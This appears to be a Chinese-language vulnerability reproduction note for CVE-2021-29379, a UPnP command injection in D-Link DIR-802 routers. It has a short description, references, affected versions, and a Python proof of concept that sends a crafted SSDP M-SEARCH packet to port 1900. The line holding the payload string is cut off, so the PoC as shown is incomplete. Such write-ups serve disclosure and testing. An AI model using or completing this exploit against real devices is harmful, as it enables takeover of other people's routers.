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35 lines
1000 B
Markdown
35 lines
1000 B
Markdown
# D-Link DIR-802 命令注入漏洞 CVE-2021-29379
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## 漏洞描述
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DIR-802中存在一个命令注入漏洞，攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。
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与CVE-2020-15893相似，在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下，端口1900上启用了通用即插即用（UPnP）。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”（ST）字段来执行命令注入。
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参考链接：
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379
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- https://cool-y.github.io/2021/03/02/DIR-802-OS-Command-Injection/
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## 漏洞影响
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```
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DIR-802 hardware revision Ax before v1.00b05
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```
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## 漏洞复现
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poc：
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```python
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# coding: utf-8
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import socket
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import struct
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buf = 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service
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s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
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s.connect(("192.168.0.1", 1900))
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s.send(buf)
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s.close()
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```
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